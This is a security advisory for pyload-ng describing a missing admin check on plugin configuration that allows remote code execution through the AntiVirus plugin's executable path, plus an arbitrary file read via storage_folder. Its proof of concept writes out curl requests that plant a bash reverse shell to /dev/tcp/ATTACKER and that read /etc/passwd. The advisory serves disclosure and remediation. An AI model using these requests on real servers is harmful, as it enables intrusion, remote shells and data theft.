GHSA-w48f-wwwf-f5fr pyLoad: Improper Neutralization of Special Elements used in an OS Command

• PyPI pyload-ng: <= 0.5.0b3.dev96 (no fix yet)

Summary The `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution. Details Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235): ```python ADMIN_ONLY_OPTIONS = { "reconnect.script", # Blocks script path change "webui.host", # Blocks bind address change "ssl.cert_file", # Blocks cert path change "ssl.key_file", # Blocks key path change # ... other sensitive options } ``` Where it IS enforced — core config (core/api/__init__.py:255): ```python def set_config_value(self, section, option, value): if f"{section}.{option}" in ADMIN_ONLY_OPTIONS: if not self.user.is_admin: raise PermissionError("Admin only") # ... ``` Where it is NOT enforced — plugin config (core/api/__init__.py:271-272): ```python # Plugin config - NO admin check at all self.pyload.config.set_plugin(category, option, value) ``` Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75): ```python def scan_file(self, file): avfile = self.config.get("avfile") # User-controlled via plugin config avargs = self.config.get("avargs") subprocess.Popen([avfile, avargs, target]) # RCE ``` PoC ```bash As non-admin user with SETTINGS permission: 1. Set AntiVirus executable to a reverse shell curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.avfile' \ -d 'value=/bin/bash' curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.avargs' \ -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' 2. Enable the AntiVirus plugin curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \ -d 'section=plugin' \ -d 'option=AntiVirus.activated' \ -d 'value=True' 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload curl -b session_cookie -X POST http://TARGET:8000/api/add_package \ -d 'name=test' \ -d 'links=http://example.com/test.zip' Result: reverse shell as the pyload process user ``` Additional Finding: Arbitrary File Read via storage_folder The `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions. Impact • Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config • Privilege escalation — SETTINGS permission (non-admin) escalates to full system access • Arbitrary file read — Via storage_folder manipulation Remediation Apply `ADMIN_ONLY_OPTIONS` to plugin config as well: ```python In set_config_value(): ADMIN_ONLY_PLUGIN_OPTIONS = { "AntiVirus.avfile", "AntiVirus.avargs", # ... any plugin option that controls executables or paths } if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS: if not self.user.is_admin: raise PermissionError("Admin only") ``` Or better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.